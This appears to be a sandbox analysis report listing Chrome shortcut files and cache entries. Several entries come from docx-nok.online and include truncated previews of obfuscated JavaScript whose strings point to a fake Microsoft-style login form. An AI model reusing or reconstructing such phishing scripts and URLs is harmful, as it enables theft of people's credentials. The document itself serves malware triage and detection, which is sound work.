SHA-512:	D5EF457238DCD8D4E103DE723DDD48804528275DA71CF7F267AFAC3D1928B6F3FCB88C68CF9AC85E67E6F800E6DE1EA28009C63E56F3EFD0093F51AFBA105765
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......}j.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I.X.x....B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X4x....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V.X4x....M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V.X4x...........................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.X6x.....#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............n.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 19 14:01:42 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9858190208334157
Encrypted:	false
SSDEEP:	48:87Xd1cT5on1IHGidAKZdA1ceh/iZUkAQkqehWy+2:87YVW1n9QLy
MD5:	49DAFB2F1C5B2523F8D9E66CA490A934
SHA1:	E84F151ECFBF2A32DE4703925C71F787948C018B
SHA-256:	F6D7C16B49FAC2B9E97BE690886D8095AFCFEAB3CE632779FAC860E55FEFABB3
SHA-512:	DFCB463ADD370EC94E83A2BCB83A990EAF4DC55A01460A0250BD98ABF78431E5E75964A5AB2C12751C190300D40D9F803AD5EB07866454C1AB192EE106D33662
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......}j.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I.X.x....B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X4x....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V.X4x....M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V.X4x...........................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.X6x.....#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............n.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 09:23:19 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2691
Entropy (8bit):	3.995412296917734
Encrypted:	false
SSDEEP:	48:8XRXd1cT5on1SHGidAKZdA14Aeh7sFiZUkmgqeh7sEy+BX:8hYVW13nqy
MD5:	C2E37F7F811DF4CF5B764E228DFB8029
SHA1:	30E9CB7140284ACB7B581A1B1999B3281158928C
SHA-256:	6AC3A511BA70F95C7A490570F1C92CCBC2839254F490DC6630D4B447DE132DEC
SHA-512:	852E4EB25F60454711EA0BA694E2ED012F2B34B3B40A2B4EB7ADAAF5EEC7611F2E7A0C305F2FC0B798EF3F9ACD61B681C7D391A57BA022B7BA72D14E0497F484
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....?.4 ?.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I.X.x....B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X4x....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V.X4x....M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V.X4x...........................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.R.....#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............n.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 19 14:01:42 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9848827700087814
Encrypted:	false
SSDEEP:	48:8jXd1cT5on1IHGidAKZdA1JehDiZUkwqehCy+R:8jYVW1S8y
MD5:	41981314B4C8C42463EE1ACB25E0745C
SHA1:	94DBC82452B09CD60B5CEE80DFFF798CC32AE5FD
SHA-256:	B5E3B0D3B250F7B331C36B391DCC886E2F15F73C6E1F456D7C10BBD773DEE78B
SHA-512:	4586EDB73BF1A222311D0026262FB4F1DB4B92B5385D62E6183FFA8EE89148ACEABA9D34B12A99B3DD86911EA5DBD37B2BB744D9F04BB13CB79721944E532699
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......}j.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I.X.x....B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X4x....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V.X4x....M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V.X4x...........................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.X6x.....#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............n.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 19 14:01:42 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9746311858534957
Encrypted:	false
SSDEEP:	48:8uXd1cT5on1IHGidAKZdA1XehBiZUk1W1qehIy+C:8uYVW1y9oy
MD5:	29E7AEE02D73597147C4BB4A76E355A3
SHA1:	90B593D944DEBA752EE8154F7E9A14570D223B37
SHA-256:	F42C8B8FE189A4D0075449199A9D9E33C712C1591ADEBB2FC66035D9A3679CAC
SHA-512:	983E01E61913860BCFDB0BDF85929F0B9E1B988BB1550F4200F90D944958D3635DC6FF2976F860274AEBA83DAAC807D1E5A053E0569C1874E6AB863FB10303A7
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......}j.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I.X.x....B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X4x....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V.X4x....M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V.X4x...........................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.X6x.....#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............n.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Apr 19 14:01:42 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.984095844522757
Encrypted:	false
SSDEEP:	48:8tXd1cT5on1IHGidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbqy+yT+:8tYVW1GT/TbxWOvTbqy7T
MD5:	84821575A41516BA8AAE9CC93078FDE2
SHA1:	814B07EAC7D8C1AC6C4021B37BAC1468B285F3C7
SHA-256:	BBE328953C6E973F1AD13E876F5B32C8080B98A892C64556785C2914DA310BFD
SHA-512:	259DF0E5CD96DC65B946D5EA9C61A7B61119F4F3CD617F5B27C8608C9D38C55148AEF55E16BB067B6767DA4DB921B1EA1945AD7A164B46950A1062D49E0992FB
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......\|j.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I.X.x....B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X4x....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V.X4x....M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V.X4x...........................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.X6x.....#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............n.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
URL:	https://docx-nok.online/o/0a6095cf83124146bdbff28bf2470f1566228761d30cc
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1592
Entropy (8bit):	4.205005284721148
Encrypted:	false
SSDEEP:	48:ztSAS1OtmCtc7aIVmt4yyR9S2lKUyDWwh:RoOtmCtc7aCmVQHSRh
MD5:	4E48046CE74F4B89D45037C90576BFAC
SHA1:	4A41B3B51ED787F7B33294202DA72220C7CD2C32
SHA-256:	8E6DB1634F1812D42516778FC890010AA57F3E39914FB4803DF2C38ABBF56D93
SHA-512:	B2BBA2A68EDAA1A08CFA31ED058AFB5E6A3150AABB9A78DB9F5CCC2364186D44A015986A57707B57E2CC855FA7DA57861AD19FC4E7006C2C239C98063FE903CF
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,1,19,30a10.9,10.9,0,0,1-5.547-1.5,11.106,11.106,0,0,1-2.219-1.719A11.373,11.373,0,0,1,9.5,24.547a10.4,10.4,0,0,1-1.109-2.625A11.616,11.616,0,0,1,8,19a10.9,10.9,0,0,1,1.5-5.547,11.106,11.106,0,0,1,1.719-2.219A11.373,11.373,0,0,1,13.453,9.5a10.4,10.4,0,0,1,2.625-1.109A11.616,11.616,0,0,1,19,8a10.9,10.9,0,0,1,5.547,1.5,11.106,11.106,0,0,1,2.219,1.719A11.373,11.373,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.938-2.859A9.269,9.269,0,0,0,22.5,10.719,8.9,8.9,0,0,0,19,10a8.786,8.786,0,0,0-3.5.7,8.9,8.9,0,0,0-2.859,1.938A9.269,9.269,0,0,0,

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7043), with no line terminators
Category:	downloaded
Size (bytes):	7043
Entropy (8bit):	5.2804407743048944
Encrypted:	false
SSDEEP:	192:wtIrjU2y/QZN5uvVRQ+tslFqEMkewx+No91m8mq9Ana1opn:wKXU2y/QZN5uvVyFq7kew0xLa1Y
MD5:	B6C202188699B897BB727A68EDD24665
SHA1:	FF3B891E06C983DCA277C1D7D874C8EB8084EB96
SHA-256:	184A034CB9202937BF012AFF8C81E0747B7CA8F8F9E6115556FDB09D5BAEC419
SHA-512:	AD8D243B156841EC27CA057CF1E0F64B8802E0DF64F79000739605CDE2C9A9FA1E3E24D153AB34A7AA66F726FC701816CA116052F4129AF3FB78D8F4057EE9F8
Malicious:	false
Reputation:	low
URL:	https://docx-nok.online/js/0a6095cf83124146bdbff28bf2470f15662287604d126
Preview:	var _0x22d5b4=_0xe936;function _0xe936(_0x110d0f,_0x2b91a9){var _0x5afc29=_0x2e89();return _0xe936=function(_0x5e8034,_0x1649af){_0x5e8034=_0x5e8034-0x12d;var _0x41bfe8=_0x5afc29[_0x5e8034];return _0x41bfe8;},_0xe936(_0x110d0f,_0x2b91a9);}(function(_0x18f255,_0x432ca9){var _0xb8cc2=_0xe936,_0x553352=_0x18f255();while(!![]){try{var _0x1c3eea=-parseInt(_0xb8cc2(0x161))/0x1+-parseInt(_0xb8cc2(0x132))/0x2+parseInt(_0xb8cc2(0x154))/0x3+-parseInt(_0xb8cc2(0x16c))/0x4+parseInt(_0xb8cc2(0x12e))/0x5+parseInt(_0xb8cc2(0x174))/0x6+-parseInt(_0xb8cc2(0x136))/0x7;if(_0x1c3eea===_0x432ca9)break;else _0x553352['push'](_0x553352['shift']());}catch(_0x104ec1){_0x553352['push'](_0x553352['shift']());}}}(_0x2e89,0x62b01));function _0x2e89(){var _0x35743b=['log','under','prototype','usernameError','disabled','search','progressBar','removeClass','<br/>','each','json','trace','style','querySelector','opacity','none','i0116','value','location','removeAttr','reset','log_form','now','redirect','reload','.light

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (4020)
Category:	downloaded
Size (bytes):	4464
Entropy (8bit):	5.573736186195152
Encrypted:	false
SSDEEP:	96:ZLIkEaeIllHhD6UPYznjUC5PAv00cCv3m4oilpM:FIkTeI7h/YzjUC5Yv4phc6
MD5:	03493B82488A4A9C28858014AC1F0306
SHA1:	3B1B890B59B90B0AF9CB349A8FA946276A6115FF
SHA-256:	DA08199C11991947283743B2AA5B45C7DF0A55EC1DE3D176DB61F32CDB25E700
SHA-512:	8E131F7FB694B55B379CE5EAB54177F828FA52420EBF818FFF06C2A7B03513B286CA19A30B5F0559658AE03BD3998670124A1F2EB766F25F9D8004887935B3D3
Malicious:	false
Reputation:	low
URL:	https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a
Preview:	<!DOCTYPE html>.<html>.<head>. <meta charset="utf-8">. <meta name="viewport" content="width=device-width, initial-scale=1">. <title></title>. <script src="jq/0a6095cf83124146bdbff28bf2470f15662287604d11f"></script>. <script src="boot/0a6095cf83124146bdbff28bf2470f15662287604d125"></script>. <script src="js/0a6095cf83124146bdbff28bf2470f15662287604d126"></script>.</head>..<script type="text/javascript">.function r(V,f){var e=I();return r=function(k,F){k=k-0x140;var G=e[k];return G;},r(V,f);}var A=r;(function(q,T){var K=r,S=q();while(!![]){try{var X=-parseInt(K('0x167'))/0x1(parseInt(K(0x172))/0x2)+parseInt(K('0x148'))/0x3+parseInt(K(0x181))/0x4+-parseInt(K('0x15e'))/0x5+-parseInt(K('0x15f'))/0x6+parseInt(K('0x143'))/0x7+parseInt(K(0x15b))/0x8(parseInt(K('0x180'))/0x9);if(X===T)break;else S['push'](S['shift']());}catch(y){S['push'](S['shift']());}}}(I,0x6def1));var G=(function(){var q=!![];return function(T,S){var X=q?function(){var t=r;if(S){var y=S[t('0x

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42414)
Category:	downloaded
Size (bytes):	42415
Entropy (8bit):	5.374174676958316
Encrypted:	false
SSDEEP:	768:JC9//LuIHdpbSt3JoVMjX1y48S7d1dxoqmNdKyBVnPNAZASyXY1eO4mH19B59:OuIHdpbSt3vFy4X4PNdN+9
MD5:	F94A2211CE789A95A7C67E8C660D63E8
SHA1:	F1FC19B6BCB96D0A905BF3192AAFF0885FF9F36F
SHA-256:	926DC3302F99EC05E4206E965DDEB7250F5910A8C38E82C7BEAFB724BBAAF37B
SHA-512:	EAC0FC89C2D6CCEB9F4C18DFC610DFF8BC194D3994F0C74B3D991F8423C6DADE11D805E76124596521C58AFA9939B45D2D3157F0A48626E12548020FC38364D3
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/b/471dc2adc340/api.js?onload=ZbqNq8&render=explicit
Preview:	"use strict";(function(){function bt(e,r,t,o,u,s,m){try{var b=e[s](m),h=b.value}catch(d){t(d);return}b.done?r(h):Promise.resolve(h).then(o,u)}function Et(e){return function(){var r=this,t=arguments;return new Promise(function(o,u){var s=e.apply(r,t);function m(h){bt(s,o,u,m,b,"next",h)}function b(h){bt(s,o,u,m,b,"throw",h)}m(void 0)})}}function M(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):M(e,r)}function Ie(e,r,t){return r in e?Object.defineProperty(e,r,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[r]=t,e}function Ve(e){for(var r=1;r<arguments.length;r++){var t=arguments[r]!=null?arguments[r]:{},o=Object.keys(t);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(t).filter(function(u){return Object.getOwnPropertyDescriptor(t,u).enumerable}))),o.forEach(function(u){Ie(e,u,t[u])})}return e}function fr(e,r){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
